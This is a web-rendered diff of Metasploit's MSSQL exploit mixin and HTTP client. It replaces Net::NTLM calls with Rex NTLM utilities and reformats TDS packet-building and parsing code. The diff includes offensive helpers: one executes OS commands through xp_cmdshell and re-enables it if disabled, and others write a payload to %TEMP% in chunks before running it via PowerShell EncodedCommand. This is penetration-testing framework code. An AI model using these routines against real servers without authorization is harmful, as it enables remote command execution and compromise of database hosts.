+  STATUS_RESETCONNECTION 	= 0x08 # TDS 7.1+
43 56
   STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
44 57
 
58
+
45 59
   #
46 60
   # Creates an instance of a MSSQL exploit module.
47 61
   #
@@ -86,13 +100,16 @@ module Exploit::Remote::MSSQL
86 100
           'MsfExploit' => self,
87 101
         })
88 102
 
103
+
89 104
     ping_sock.put("\x02")
90
-    resp, _saddr, _sport = ping_sock.recvfrom(65535, timeout)
105
+    resp, saddr, sport = ping_sock.recvfrom(65535, timeout)
91 106
     ping_sock.close
92 107
 
93 108
     return data if not resp
94 109
     return data if resp.length == 0
95 110
 
111
+    var = nil
112
+
96 113
     return mssql_ping_parse(resp)
97 114
   end
98 115
 
@@ -128,15 +145,15 @@ module Exploit::Remote::MSSQL
128 145
   #
129 146
   # Execute a system command via xp_cmdshell
130 147
   #
131
-  def mssql_xpcmdshell(cmd, doprint=false, opts={})
148
+  def mssql_xpcmdshell(cmd,doprint=false,opts={})
132 149
     force_enable = false
133 150
     begin
134 151
       res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts)
135
-      if res[:errors] && !res[:errors].empty?
136
-        if res[:errors].join =~ /xp_cmdshell/
137
-          if force_enable
152
+      if(res[:errors] and not res[:errors].empty?)
153
+        if(res[:errors].join =~ /xp_cmdshell/)
154
+          if(force_enable)
138 155
             print_error("The xp_cmdshell procedure is not available and could not be enabled")
139
-            raise RuntimeError, "Failed to execute command"
156
+            raise  RuntimeError, "Failed to execute command"
140 157
           else
141 158
             print_status("The server may have xp_cmdshell disabled, trying to enable it...")
142 159
             mssql_query(mssql_xpcmdshell_enable())
@@ -150,7 +167,7 @@ module Exploit::Remote::MSSQL
150 167
       return res
151 168
 
152 169
     rescue RuntimeError => e
153
-      if e.to_s =~ /xp_cmdshell disabled/
170
+      if(e.to_s =~ /xp_cmdshell disabled/)
154 171
         force_enable = true
155 172
         retry
156 173
       end
@@ -183,7 +200,7 @@ module Exploit::Remote::MSSQL
183 200
     idx = 0
184 201
     cnt = 500
185 202
     while(idx < hex.length - 1)
186
-      mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
203
+      mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
187 204
       idx += cnt
188 205
     end
189 206
 
@@ -217,7 +234,7 @@ module Exploit::Remote::MSSQL
217 234
     idx = 0
218 235
     cnt = 500
219 236
     while(idx < hex.length - 1)
220
-      mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
237
+      mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
221 238
       idx += cnt
222 239
     end
223 240
     print_status("Converting the payload utilizing PowerShell EncodedCommand...")
@@ -243,17 +260,17 @@ module Exploit::Remote::MSSQL
243 260
 
244 261
     while(not done)
245 262
       head = sock.get_once(8, timeout)
246
-      if !(head && head.length == 8)
263
+      if !(head and head.length == 8)
247 264
         return false
248 265
       end
249 266
 
250 267
       # Is this the last buffer?
251
-      if(head[1, 1] == "\x01" or not check_status )
268
+      if(head[1,1] == "\x01" or not check_status )
252 269
         done = true
253 270
       end
254 271
 
255 272
       # Grab this block's length
256
-      rlen = head[2, 2].unpack('n')[0] - 8
273
+      rlen = head[2,2].unpack('n')[0] - 8
257 274
 
258 275
       while(rlen > 0)
259 276
         buff = sock.get_once(rlen, timeout)
@@ -285,77 +302,77 @@ module Exploit::Remote::MSSQL
285 302
     pkt_data = ""
286 303
 
287 304
 
288
-    pkt_hdr =  [
289
-      TYPE_PRE_LOGIN_MESSAGE, #type
290
-      STATUS_END_OF_MESSAGE, #status
291
-      0x0000, #length
292
-      0x0000, # SPID
293
-      0x00, # PacketID
294
-      0x00 #Window
295
-    ]
305
+      pkt_hdr =	[
306
+          TYPE_PRE_LOGIN_MESSAGE, #type
307
+          STATUS_END_OF_MESSAGE, #status
308
+          0x0000, #length
309
+          0x0000, # SPID
310
+          0x00, # PacketID
311
+          0x00 #Window
312
+          ]
296 313
 
297
-    version = [0x55010008, 0x0000].pack("Vv")
298
-    encryption = ENCRYPT_NOT_SUP # off
299
-    instoptdata = "MSSQLServer\0"
314
+      version = [0x55010008,0x0000].pack("Vv")
315
+      encryption = ENCRYPT_NOT_SUP # off
316
+      instoptdata = "MSSQLServer\0"
300 317
 
301
-    threadid =   "\0\0" + Rex::Text.rand_text(2)
318
+      threadid =   "\0\0" + Rex::Text.rand_text(2)
302 319
 
303
-    idx = 21 # size of pkt_data_token
304
-    pkt_data_token <<  [
305
-      0x00, # Token 0 type Version
306
-      idx, # VersionOffset
307
-      version.length, # VersionLength
320
+      idx = 21 # size of pkt_data_token
321
+      pkt_data_token <<	[
322
+            0x00, 		# Token 0 type Version
323
+            idx , 	# VersionOffset
324
+            version.length, # VersionLength
308 325
 
309
-      0x01, # Token 1 type Encryption
310
-      idx = idx + version.length, # EncryptionOffset
311
-      0x01, # EncryptionLength
326
+            0x01, 			    	# Token 1 type Encryption
327
+            idx = idx + version.length, 	# EncryptionOffset
328
+            0x01, 			    	# EncryptionLength
312 329
 
313
-      0x02, # Token 2 type InstOpt
314
-      idx = idx + 1, # InstOptOffset
315
-      instoptdata.length, # InstOptLength
330
+            0x02, 				# Token 2 type InstOpt
331
+            idx = idx + 1,  		# InstOptOffset
332
+            instoptdata.length, 		# InstOptLength
316 333
 
317
-      0x03, # Token 3 type Threadid
318
-      idx + instoptdata.length, # ThreadIdOffset
319
-      0x04, # ThreadIdLength
334
+            0x03, 				# Token 3 type Threadid
335
+            idx + instoptdata.length, 	# ThreadIdOffset
336
+            0x04,				# ThreadIdLength
320 337
 
321
-      0xFF
322
-    ].pack("CnnCnnCnnCnnC")
338
+            0xFF
339
+            ].pack("CnnCnnCnnCnnC")
323 340
 
324
-    pkt_data << pkt_data_token
325
-    pkt_data << version
326
-    pkt_data << encryption
327
-    pkt_data << instoptdata
328
-    pkt_data << threadid
341
+      pkt_data  	<<	pkt_data_token
342
+      pkt_data  	<<	version
343
+      pkt_data  	<<	encryption
344
+      pkt_data  	<<	instoptdata
345
+      pkt_data  	<<	threadid
329 346
 
330
-    pkt_hdr[2] = pkt_data.length + 8
347
+      pkt_hdr[2]	= 	pkt_data.length + 8
331 348
 
332
-    pkt = pkt_hdr.pack("CCnnCC") + pkt_data
349
+      pkt 		= 	 pkt_hdr.pack("CCnnCC") + pkt_data
333 350
 
334
-    resp = mssql_send_recv(pkt)
351
+      resp = mssql_send_recv(pkt)
335 352
 
336
-    idx = 0
353
+      idx = 0
337 354
 
338
-    while resp && resp[0, 1] != "\xff" && resp.length > 5
339
-      token = resp.slice!(0, 5)
340
-      token = token.unpack("Cnn")
341
-      idx -= 5
342
-      if token[0] == 0x01
343
-        idx += token[1]
344
-        break
345
-      end
346
-    end
355
+      while resp and resp[0,1] != "\xff" and resp.length > 5
356
+        token = resp.slice!(0,5)
357
+        token = token.unpack("Cnn")
358
+        idx -= 5
359
+        if token[0] == 0x01
347 360
 
348
-    if idx > 0
349
-      encryption_mode = resp[idx, 1].unpack("C")[0]
350
-    else
351
-      # force to ENCRYPT_NOT_SUP and hope for the best
352
-      encryption_mode = ENCRYPT_NOT_SUP
353
-    end
361
+          idx += token[1]
362
+          break
363
+        end
364
+      end
365
+      if idx > 0
366
+        encryption_mode = resp[idx,1].unpack("C")[0]
367
+      else
368
+        #force to ENCRYPT_NOT_SUP and hope for the best
369
+        encryption_mode = ENCRYPT_NOT_SUP
370
+      end
354 371
 
355
-    if encryption_mode != ENCRYPT_NOT_SUP && enc_error
356
-      raise RuntimeError,"Encryption is not supported"
357
-    end
358
-    encryption_mode
372
+      if encryption_mode != ENCRYPT_NOT_SUP and enc_error
373
+        raise RuntimeError,"Encryption is not supported"
374
+      end
375
+      encryption_mode
359 376
   end
360 377
 
361 378
   #
@@ -384,14 +401,14 @@ module Exploit::Remote::MSSQL
384 401
       idx = 0
385 402
       pkt = ''
386 403
       pkt_hdr = ''
387
-      pkt_hdr =  [
404
+      pkt_hdr =	[
388 405
           TYPE_TDS7_LOGIN, #type
389 406
           STATUS_END_OF_MESSAGE, #status
390 407
           0x0000, #length
391 408
           0x0000, # SPID
392
-          0x01,   # PacketID (unused upon specification
409
+          0x01, 	# PacketID (unused upon specification
393 410
             # but ms network monitor stil prefer 1 to decode correctly, wireshark don't care)
394
-          0x00   #Window
411
+          0x00 	#Window
395 412
           ]
396 413
 
397 414
       pkt << [
@@ -414,18 +431,19 @@ module Exploit::Remote::MSSQL
414 431
       sname = Rex::Text.to_unicode( rhost )
415 432
       dname = Rex::Text.to_unicode( db )
416 433
 
434
+      ntlm_options = {
435
+          :signing 		=> false,
436
+          :usentlm2_session 	=> datastore['NTLM::UseNTLM2_session'],
437
+          :use_ntlmv2 		=> datastore['NTLM::UseNTLMv2'],
438
+          :send_lm 		=> datastore['NTLM::SendLM'],
439
+          :send_ntlm		=> datastore['NTLM::SendNTLM']
440
+          }
441
+
442
+      ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options)
417 443
       workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
444
+      domain_name = datastore['DOMAIN']
418 445
 
419
-      ntlm_client = ::Net::NTLM::Client.new(
420
-        user,
421
-        pass,
422
-        workstation: workstation_name,
423
-        domain: datastore['DOMAIN'],
424
-      )
425
-      type1 = ntlm_client.init_context
426
-      # SQL 2012, at least, does not support KEY_EXCHANGE
427
-      type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
428
-      ntlmsspblob = type1.serialize
446
+      ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags)
429 447
 
430 448
       idx = pkt.size + 50 # lengths below
431 449
 
@@ -466,9 +484,9 @@ module Exploit::Remote::MSSQL
466 484
       pkt << ntlmsspblob
467 485
 
468 486
       # Total packet length
469
-      pkt[0, 4] = [pkt.length].pack('V')
487
+      pkt[0,4] = [pkt.length].pack('V')
470 488
 
471
-      pkt_hdr[2] = pkt.length + 8
489
+      pkt_hdr[2]	= 	pkt.length + 8
472 490
 
473 491
       pkt = pkt_hdr.pack("CCnnCC") + pkt
474 492
 
@@ -476,36 +494,56 @@ module Exploit::Remote::MSSQL
476 494
       # has a strange behavior that differs from the specifications
477 495
       # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
478 496
       # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
479
-      resp = mssql_send_recv(pkt, 15, false)
497
+      resp = mssql_send_recv(pkt,15, false)
480 498
 
481
-      unless resp.include?("NTLMSSP")
499
+      # Get default data
500
+      begin
501
+        blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp)
502
+      # a domain.length < 3 will hit this
503
+      rescue NTLM_XCEPT::NTLMMissingChallenge
482 504
         info = {:errors => []}
483 505
         mssql_parse_reply(resp, info)
484 506
         mssql_print_reply(info)
485 507
         return false
486 508
       end
487
-
488
-      # Get default data
489
-      resp = resp[3..-1]
490
-      type3 = ntlm_client.init_context([resp].pack('m'))
491
-      type3_blob = type3.serialize
509
+      challenge_key = blob_data[:challenge_key]
510
+      server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
511
+      #netbios name
512
+      default_name =  blob_data[:default_name] || ''
513
+      #netbios domain
514
+      default_domain = blob_data[:default_domain] || ''
515
+      #dns name
516
+      dns_host_name =  blob_data[:dns_host_name] || ''
517
+      #dns domain
518
+      dns_domain_name =  blob_data[:dns_domain_name] || ''
519
+      #Client time
520
+      chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
521
+
522
+      spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name =>  self.rhost}
523
+
524
+      resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key,
525
+                        domain_name, default_name, default_domain,
526
+                        dns_host_name, dns_domain_name, chall_MsvAvTimestamp,
527
+                        spnopt, ntlm_options)
528
+
529
+      ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags)
492 530
 
493 531
       # Create an SSPIMessage
494 532
       idx = 0
495 533
       pkt = ''
496 534
       pkt_hdr = ''
497
-      pkt_hdr = [
498
-        TYPE_SSPI_MESSAGE, #type
499
-        STATUS_END_OF_MESSAGE, #status
500
-        0x0000, #length
501
-        0x0000, # SPID
502
-        0x01, # PacketID
503
-        0x00 #Window
504
-      ]
535
+      pkt_hdr =	[
536
+          TYPE_SSPI_MESSAGE, #type
537
+          STATUS_END_OF_MESSAGE, #status
538
+          0x0000, #length
539
+          0x0000, # SPID
540
+          0x01, # PacketID
541
+          0x00 #Window
542
+          ]
505 543
 
506
-      pkt_hdr[2] = type3_blob.length + 8
544
+      pkt_hdr[2]	= 	ntlmssp.length + 8
507 545
 
508
-      pkt = pkt_hdr.pack("CCnnCC") + type3_blob
546
+      pkt = pkt_hdr.pack("CCnnCC") + ntlmssp
509 547
 
510 548
       resp = mssql_send_recv(pkt)
511 549
 
@@ -582,7 +620,7 @@ module Exploit::Remote::MSSQL
582 620
       pkt << dname
583 621
 
584 622
       # Total packet length
585
-      pkt[0, 4] = [pkt.length].pack('V')
623
+      pkt[0,4] = [pkt.length].pack('V')
586 624
 
587 625
       # Embedded packet lengths
588 626
       pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
@@ -599,7 +637,7 @@ module Exploit::Remote::MSSQL
599 637
     end
600 638
 
601 639
     info = {:errors => []}
602
-    info = mssql_parse_reply(resp, info)
640
+    info = mssql_parse_reply(resp,info)
603 641
 
604 642
     return false if not info
605 643
     info[:login_ack] ? true : false
@@ -652,17 +690,17 @@ module Exploit::Remote::MSSQL
652 690
 
653 691
     print_status("SQL Query: #{info[:sql]}")
654 692
 
655
-    if info[:done] && info[:done][:rows].to_i > 0
693
+    if(info[:done] and info[:done][:rows].to_i > 0)
656 694
       print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})")
657 695
     end
658 696
 
659
-    if info[:errors] && !info[:errors].empty?
697
+    if(info[:errors] and not info[:errors].empty?)
660 698
       info[:errors].each do |err|
661 699
         print_error(err)
662 700
       end
663 701
     end
664 702
 
665
-    if info[:rows] && !info[:rows].empty?
703
+    if(info[:rows] and not info[:rows].empty?)
666 704
 
667 705
       tbl = Rex::Ui::Text::Table.new(
668 706
         'Indent'    => 1,
@@ -689,14 +727,14 @@ module Exploit::Remote::MSSQL
689 727
     info[:colnames] ||= []
690 728
 
691 729
     # Parse out the columns
692
-    cols = data.slice!(0, 2).unpack('v')[0]
730
+    cols = data.slice!(0,2).unpack('v')[0]
693 731
     0.upto(cols-1) do |col_idx|
694 732
       col = {}
695 733
       info[:colinfos][col_idx] = col
696 734
 
697
-      col[:utype] = data.slice!(0, 2).unpack('v')[0]
698
-      col[:flags] = data.slice!(0, 2).unpack('v')[0]
699
-      col[:type]  = data.slice!(0, 1).unpack('C')[0]
735
+      col[:utype] = data.slice!(0,2).unpack('v')[0]
736
+      col[:flags] = data.slice!(0,2).unpack('v')[0]
737
+      col[:type]  = data.slice!(0,1).unpack('C')[0]
700 738
 
701 739
       case col[:type]
702 740
       when 48
@@ -713,8 +751,8 @@ module Exploit::Remote::MSSQL
713 751
 
714 752
       when 34
715 753
         col[:id]            = :image
716
-        col[:max_size]      = data.slice!(0, 4).unpack('V')[0]
717
-        col[:value_length]  = data.slice!(0, 2).unpack('v')[0]
754
+        col[:max_size]      = data.slice!(0,4).unpack('V')[0]
755
+        col[:value_length]  = data.slice!(0,2).unpack('v')[0]
718 756
         col[:value]         = data.slice!(0, col[:value_length]  * 2).gsub("\x00", '')
719 757
 
720 758
       when 36
@@ -722,33 +760,33 @@ module Exploit::Remote::MSSQL
722 760
 
723 761
       when 38
724 762
         col[:id] = :int
725
-        col[:int_size] = data.slice!(0, 1).unpack('C')[0]
763
+        col[:int_size] = data.slice!(0,1).unpack('C')[0]
726 764
 
727 765
       when 127
728 766
         col[:id] = :bigint
729 767
 
730 768
       when 165
731 769
         col[:id] = :hex
732
-        col[:max_size] = data.slice!(0, 2).unpack('v')[0]
770
+        col[:max_size] = data.slice!(0,2).unpack('v')[0]
733 771
 
734 772
       when 173
735 773
         col[:id] = :hex # binary(2)
736
-        col[:max_size] = data.slice!(0, 2).unpack('v')[0]
774
+        col[:max_size] = data.slice!(0,2).unpack('v')[0]
737 775
 
738
-      when 231, 175, 167, 239
776
+      when 231,175,167,239
739 777
         col[:id] = :string
740
-        col[:max_size] = data.slice!(0, 2).unpack('v')[0]
741
-        col[:codepage] = data.slice!(0, 2).unpack('v')[0]
742
-        col[:cflags] = data.slice!(0, 2).unpack('v')[0]
743
-        col[:charset_id] =  data.slice!(0, 1).unpack('C')[0]
778
+        col[:max_size] = data.slice!(0,2).unpack('v')[0]
779
+        col[:codepage] = data.slice!(0,2).unpack('v')[0]
780
+        col[:cflags] = data.slice!(0,2).unpack('v')[0]
781
+        col[:charset_id] =  data.slice!(0,1).unpack('C')[0]
744 782
 
745 783
       else
746 784
         col[:id] = :unknown
747 785
       end
748 786
 
749
-      col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
787
+      col[:msg_len] = data.slice!(0,1).unpack('C')[0]
750 788
 
751
-      if col[:msg_len] && col[:msg_len] > 0
789
+      if(col[:msg_len] and col[:msg_len] > 0)
752 790
         col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
753 791
       end
754 792
       info[:colnames] << (col[:name] || 'NULL')
@@ -762,7 +800,7 @@ module Exploit::Remote::MSSQL
762 800
     info[:errors] = []
763 801
     return if not data
764 802
     until data.empty?
765
-      token = data.slice!(0, 1).unpack('C')[0]
803
+      token = data.slice!(0,1).unpack('C')[0]
766 804
       case token
767 805
       when 0x81
768 806
         mssql_parse_tds_reply(data, info)
@@ -806,28 +844,28 @@ module Exploit::Remote::MSSQL
806 844
       case col[:id]
807 845
       when :hex
808 846
         str = ""
809
-        len = data.slice!(0, 2).unpack('v')[0]
810
-        if len > 0 && len < 65535
811
-          str << data.slice!(0, len)
847
+        len = data.slice!(0,2).unpack('v')[0]
848
+        if(len > 0 and len < 65535)
849
+          str << data.slice!(0,len)
812 850
         end
813 851
         row << str.unpack("H*")[0]
814 852
 
815 853
       when :string
816 854
         str = ""
817
-        len = data.slice!(0, 2).unpack('v')[0]
818
-        if len > 0 && len < 65535
819
-          str << data.slice!(0, len)
855
+        len = data.slice!(0,2).unpack('v')[0]
856
+        if(len > 0 and len < 65535)
857
+          str << data.slice!(0,len)
820 858
         end
821 859
         row << str.gsub("\x00", '')
822 860
 
823 861
       when :datetime
824
-        row << data.slice!(0, 8).unpack("H*")[0]
862
+        row << data.slice!(0,8).unpack("H*")[0]
825 863
 
826 864
       when :rawint
827
-        row << data.slice!(0, 4).unpack('V')[0]
865
+        row << data.slice!(0,4).unpack('V')[0]
828 866
 
829 867
       when :bigint
830
-        row << data.slice!(0, 8).unpack("H*")[0]
868
+        row << data.slice!(0,8).unpack("H*")[0]
831 869
 
832 870
       when :smallint
833 871
         row << data.slice!(0, 2).unpack("v")[0]
@@ -840,16 +878,16 @@ module Exploit::Remote::MSSQL
840 878
 
841 879
       when :image
842 880
         str = ''
843
-        len = data.slice!(0, 1).unpack('C')[0]
844
-        str = data.slice!(0, len) if len && len > 0
881
+        len = data.slice!(0,1).unpack('C')[0]
882
+        str = data.slice!(0,len) if (len and len > 0)
845 883
         row << str.unpack("H*")[0]
846 884
 
847 885
       when :int
848 886
         len = data.slice!(0, 1).unpack("C")[0]
849
-        raw = data.slice!(0, len) if len && len > 0
887
+        raw = data.slice!(0, len) if (len and len > 0)
850 888
 
851 889
         case len
852
-        when 0, 255
890
+        when 0,255
853 891
           row << ''
854 892
         when 1
855 893
           row << raw.unpack("C")[0]
@@ -862,7 +900,7 @@ module Exploit::Remote::MSSQL
862 900
         when 8
863 901
           row << raw.unpack('VV')[0] # XXX: missing high dword
864 902
         else
865
-          info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
903
+          info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}"
866 904
         end
867 905
       else
868 906
         info[:errors] << "unknown column type: #{col.inspect}"
@@ -877,7 +915,7 @@ module Exploit::Remote::MSSQL
877 915
   # Parse a "ret" TDS token
878 916
   #
879 917
   def mssql_parse_ret(data, info)
880
-    ret = data.slice!(0, 4).unpack('N')[0]
918
+    ret = data.slice!(0,4).unpack('N')[0]
881 919
     info[:ret] = ret
882 920
     info
883 921
   end
@@ -886,7 +924,7 @@ module Exploit::Remote::MSSQL
886 924
   # Parse a "done" TDS token
887 925
   #
888 926
   def mssql_parse_done(data, info)
889
-    status, cmd, rows = data.slice!(0, 8).unpack('vvV')
927
+    status,cmd,rows = data.slice!(0,8).unpack('vvV')
890 928
     info[:done] = { :status => status, :cmd => cmd, :rows => rows }
891 929
     info
892 930
   end
@@ -895,11 +933,11 @@ module Exploit::Remote::MSSQL
895 933
   # Parse an "error" TDS token
896 934
   #
897 935
   def mssql_parse_error(data, info)
898
-    len  = data.slice!(0, 2).unpack('v')[0]
899
-    buff = data.slice!(0, len)
936
+    len  = data.slice!(0,2).unpack('v')[0]
937
+    buff = data.slice!(0,len)
900 938
 
901
-    errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
902
-    emsg = buff.slice!(0, elen * 2)
939
+    errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
940
+    emsg = buff.slice!(0,elen * 2)
903 941
     emsg.gsub!("\x00", '')
904 942
 
905 943
     info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
@@ -910,17 +948,17 @@ module Exploit::Remote::MSSQL
910 948
   # Parse an "environment change" TDS token
911 949
   #
912 950
   def mssql_parse_env(data, info)
913
-    len  = data.slice!(0, 2).unpack('v')[0]
914
-    buff = data.slice!(0, len)
915
-    type = buff.slice!(0, 1).unpack('C')[0]
951
+    len  = data.slice!(0,2).unpack('v')[0]
952
+    buff = data.slice!(0,len)
953
+    type = buff.slice!(0,1).unpack('C')[0]
916 954
 
917 955
     nval = ''
918
-    nlen = buff.slice!(0, 1).unpack('C')[0] || 0
919
-    nval = buff.slice!(0, nlen * 2).gsub("\x00", '') if nlen > 0
956
+    nlen = buff.slice!(0,1).unpack('C')[0] || 0
957
+    nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0
920 958
 
921 959
     oval = ''
922
-    olen = buff.slice!(0, 1).unpack('C')[0] || 0
923
-    oval = buff.slice!(0, olen * 2).gsub("\x00", '') if olen > 0
960
+    olen = buff.slice!(0,1).unpack('C')[0] || 0
961
+    oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0
924 962
 
925 963
     info[:envs] ||= []
926 964
     info[:envs] << { :type => type, :old => oval, :new => nval }
@@ -931,14 +969,14 @@ module Exploit::Remote::MSSQL
931 969
   # Parse an "information" TDS token
932 970
   #
933 971
   def mssql_parse_info(data, info)
934
-    len  = data.slice!(0, 2).unpack('v')[0]
935
-    buff = data.slice!(0, len)
972
+    len  = data.slice!(0,2).unpack('v')[0]
973
+    buff = data.slice!(0,len)
936 974
 
937
-    errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
938
-    emsg = buff.slice!(0, elen * 2)
975
+    errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
976
+    emsg = buff.slice!(0,elen * 2)
939 977
     emsg.gsub!("\x00", '')
940 978
 
941
-    info[:infos] ||= []
979
+    info[:infos]||= []
942 980
     info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
943 981
     info
944 982
   end
@@ -947,8 +985,8 @@ module Exploit::Remote::MSSQL
947 985
   # Parse a "login ack" TDS token
948 986
   #
949 987
   def mssql_parse_login_ack(data, info)
950
-    len = data.slice!(0, 2).unpack('v')[0]
951
-    _buff = data.slice!(0, len)
988
+    len  = data.slice!(0,2).unpack('v')[0]
989
+    buff = data.slice!(0,len)
952 990
     info[:login_ack] = true
953 991
   end
954 992
 end

+ 6
- 0
lib/msf/core/exploit/ntlm.rb View File

@@ -17,6 +17,12 @@ module Msf
17 17
 
18 18
 module Exploit::NTLM
19 19
 
20
+  NTLM_CONST   = ::Rex::Proto::NTLM::Constants
21
+  NTLM_CRYPT   = ::Rex::Proto::NTLM::Crypt
22
+  NTLM_UTILS   = ::Rex::Proto::NTLM::Utils
23
+  NTLM_BASE    = ::Rex::Proto::NTLM::Base
24
+  NTLM_MESSAGE = ::Rex::Proto::NTLM::Message
25
+
20 26
   module Client
21 27
     def initialize(info = {})
22 28
       super

+ 63
- 13
lib/rex/proto/http/client.rb View File

@@ -3,6 +3,10 @@ require 'rex/socket'
3 3
 require 'rex/proto/http'
4 4
 require 'rex/text'
5 5
 require 'digest'
6
+require 'rex/proto/ntlm/crypt'
7
+require 'rex/proto/ntlm/constants'
8
+require 'rex/proto/ntlm/utils'
9
+require 'rex/proto/ntlm/exceptions'
6 10
 
7 11
 require 'rex/proto/http/client_request'
8 12
 
@@ -309,6 +313,7 @@ class Client
309 313
   # Send a series of requests to complete Digest Authentication
310 314
   #
311 315
   # @param opts [Hash] the options used to build an HTTP request
316
+  #
312 317
   # @return [Response] the last valid HTTP response we received
313 318
   def digest_auth(opts={})
314 319
     @nonce_count = 0
@@ -452,6 +457,13 @@ class Client
452 457
   #
453 458
   # @return [Response] the last valid HTTP response we received
454 459
   def negotiate_auth(opts={})
460
+    ntlm_options = {
461
+      :signing          => false,
462
+      :usentlm2_session => self.config['usentlm2_session'],
463
+      :use_ntlmv2       => self.config['use_ntlmv2'],
464
+      :send_lm          => self.config['send_lm'],
465
+      :send_ntlm        => self.config['send_ntlm']
466
+    }
455 467
 
456 468
     to = opts['timeout'] || 20
457 469
     opts['username'] ||= ''
@@ -460,27 +472,28 @@ class Client
460 472
     if opts['provider'] and opts['provider'].include? 'Negotiate'
461 473
       provider = "Negotiate "
462 474
     else
463
-      provider = "NTLM "
475
+      provider = 'NTLM '
464 476
     end
465 477
 
466 478
     opts['method']||= 'GET'
467 479
     opts['headers']||= {}
468 480
 
481
+    ntlmssp_flags = ::Rex::Proto::NTLM::Utils.make_ntlm_flags(ntlm_options)
469 482
     workstation_name = Rex::Text.rand_text_alpha(rand(8)+6)
470 483
     domain_name = self.config['domain']
471 484
 
472
-    ntlm_client = ::Net::NTLM::Client.new(
473
-      opts['username'],
474
-      opts['password'],
475
-      workstation: workstation_name,
476
-      domain: domain_name,
477
-    )
478
-    type1 = ntlm_client.init_context
485
+    b64_blob = Rex::Text::encode_base64(
486
+      ::Rex::Proto::NTLM::Utils::make_ntlmssp_blob_init(
487
+        domain_name,
488
+        workstation_name,
489
+        ntlmssp_flags
490
+    ))
491
+
492
+    ntlm_message_1 = provider + b64_blob
479 493
 
480 494
     begin
481 495
       # First request to get the challenge
482
-      opts['headers']['Authorization'] = provider + type1.encode64
483
-
496
+      opts['headers']['Authorization'] = ntlm_message_1
484 497
       r = request_cgi(opts)
485 498
       resp = _send_recv(r, to)
486 499
       unless resp.kind_of? Rex::Proto::Http::Response
@@ -493,10 +506,47 @@ class Client
493 506
       ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/ni).flatten[0]
494 507
       return resp unless ntlm_challenge
495 508
 
496
-      ntlm_message_3 = ntlm_client.init_context(ntlm_challenge)
509
+      ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge)
510
+      blob_data = ::Rex::Proto::NTLM::Utils.parse_ntlm_type_2_blob(ntlm_message_2)
511
+
512
+      challenge_key        = blob_data[:challenge_key]
513
+      server_ntlmssp_flags = blob_data[:server_ntlmssp_flags]       #else should raise an error
514
+      default_name         = blob_data[:default_name]         || '' #netbios name
515
+      default_domain       = blob_data[:default_domain]       || '' #netbios domain
516
+      dns_host_name        = blob_data[:dns_host_name]        || '' #dns name
517
+      dns_domain_name      = blob_data[:dns_domain_name]      || '' #dns domain
518
+      chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' #Client time
519
+
520
+      spnopt = {:use_spn => self.config['SendSPN'], :name =>  self.hostname}
521
+
522
+      resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = ::Rex::Proto::NTLM::Utils.create_lm_ntlm_responses(
523
+        opts['username'],
524
+        opts['password'],
525
+        challenge_key,
526
+        domain_name,
527
+        default_name,
528
+        default_domain,
529
+        dns_host_name,
530
+        dns_domain_name,
531
+        chall_MsvAvTimestamp,
532
+        spnopt,
533
+        ntlm_options
534
+      )
535
+
536
+      ntlm_message_3 = ::Rex::Proto::NTLM::Utils.make_ntlmssp_blob_auth(
537
+        domain_name,
538
+        workstation_name,
539
+        opts['username'],
540
+        resp_lm,
541
+        resp_ntlm,
542
+        '',
543
+        ntlmssp_flags
544
+      )
545
+
546
+      ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3)
497 547
 
498 548
       # Send the response
499
-      opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3.encode64}"
549
+      opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3}"
500 550
       r = request_cgi(opts)
501 551
       resp = _send_recv(r, to, true)
502 552
       unless resp.kind_of? Rex::Proto::Http::Response
@@ -508,7 +558,6 @@ class Client
508 558
       return nil
509 559
     end
510 560
   end
511
-
512 561
   #
513 562
   # Read a response from the server
514 563
   #
